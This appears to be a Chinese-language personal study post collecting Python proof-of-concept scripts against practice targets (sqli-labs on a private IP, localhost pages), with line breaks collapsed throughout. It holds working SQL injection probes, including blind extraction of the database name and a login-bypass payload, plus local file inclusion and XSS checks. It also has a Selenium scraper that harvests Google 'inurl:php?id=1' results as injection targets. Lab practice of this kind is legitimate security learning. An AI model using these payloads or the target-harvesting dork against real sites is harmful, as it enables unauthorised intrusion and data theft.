Python学习之路初探exp

import requestsdef verify(url):    payload1 = "?id=1' and 1=1 --+"    payload2 = "?id=1' and 1=2 --+"    resp1 = requests.get(url+payload1)    resp2 = requests.get(url+payload2)    text1 = resp1.text    text2 = resp2.text    print(text2)    if ('You are in' in text1) and ('You are in' not in text2):        print(url,'：存在单引号闭合的sql注入（盲注）')    else:        print(url,'：不存在单引号闭合的sql注入（盲注）')verify('http://192.168.30.164/sqli/Less-5/')

import requestsdef verify(url):    for i in range(1,20):        payload1 = "?id=1' and length(database())={} --+".format(i)        resp1 = requests.get(url+payload1)        text1 = resp1.text        if 'You are in' in text1:            print('database长度为：%s'%i)            breakif __name__=='__main__':    url = "http://192.168.30.164/sqli/Less-5/"    verify(url)

'''exp的小练习啦布尔盲注：http://192.168.30.164/sqli/Less-5/You are in'''import requestsdef verify(url):    # length = []    for i in range(1,8):        list = 'abcdefghijklmnopqrstuvwxyz'        for k in range(1,26):            j = list[k]            # payload1 = "?id=1' and length(database())={} --+".format(i)            payload1 = "?id=1' and substr(database(),{},1)='{}' --+".format(i,j)            resp1 = requests.get(url+payload1)            text1 = resp1.text            if 'You are in' in text1:                print('database为：%s'%j)                breakif __name__=='__main__':    url = "http://192.168.30.164/sqli/Less-5/"    verify(url)

'''Post pochttp://192.168.30.164/sqli/Less-11/'''import requestsurl = "http://192.168.30.164/sqli/Less-11/"payloads = "admin' or '1'='1 #"response = requests.post(url,data={'uname':payloads,'passwd':123})html = response.textprint(html)if 'Your Login name' in html:    print('Post注入')

"""文件包含 pochttp://127.0.0.1/1/lfi.php?file=phpinfo.txt"""import requestsdef verify(url):    payload = '?file=phpinfo.txt'    reaponse = requests.get(url+payload)    html_str = reaponse.text    if 'PHP Version' in html_str:        print('存在本地文件包含')    else:        print('不存在')if __name__ == '__main__':    verify(url="http://127.0.0.1/1/lfi.php")

"""xss跨站脚本攻击弹窗http://127.0.0.1/1/xss.php?title=%3C/title%3E%3Cscript%3Ealert(123)%3C/script%3E"""import requestsimport redef POC():    response = requests.get('http://127.0.0.1/1/xss.php?title=</title><script>alert(123)</script>')    res = response.text    if re.search('alert(123)',res):        return True    else:        return Falseif __name__ == '__main__':    print(POC())

"""selenium爬虫1.通过google语法批量获取 php?id=1 d的url2.url存到文件中：urls.txt"""from selenium import webdriverimport timeimport re# #设置无头# chrome_option =dirver = webdriver.Chrome(r'G:pythonfilechromedriver.exe')   #创建谷歌浏览器对象，打开谷歌浏览器dirver.get('https://www.google.com/search?q=inurl:php?id=1')for i in range(10):    time.sleep(1.5)    dirver.execute_script('window.scrollTo(0,document.body.scrollHeight)')    html_str = dirver.page_source  # 获取源码    #数据解析    # test = dirver.find_element_by_xpath('//a[@id="pnnext"]/span[2]')    pattern = re.compile('<div class="r"><a href="(.*?)"',re.S)    #点击下一页    # test = dirver.find_element_by_link_text('下一页')    test = dirver.find_element_by_class_name('r')[0] #定位到一个元素    result = re.findall(pattern,html_str)    test.click()  # 模拟点击    print(result)dirver.close()                #关闭浏览器

"""selenium实现模拟登录"""from selenium import webdriverimport timedriver = webdriver.Chrome()                  #Chrome()是一个对象来着url = 'http://192.168.30.164/sqli/Less-11/'driver.get(url)print(driver.page_source)username = driver.find_element_by_xpath('/html/body/div[2]/div/form/div[1]/input')password = driver.find_element_by_xpath('/html/body/div[2]/div/form/div[2]/input')submit = driver.find_element_by_xpath('//form/div[3]/input')    #双斜杠指从任意位置到当前的位置username.clear()username.send_keys('admin')time.sleep(1)password.clear()password.send_keys('admin')time.sleep(1)submit.click()time.sleep(5)driver.close()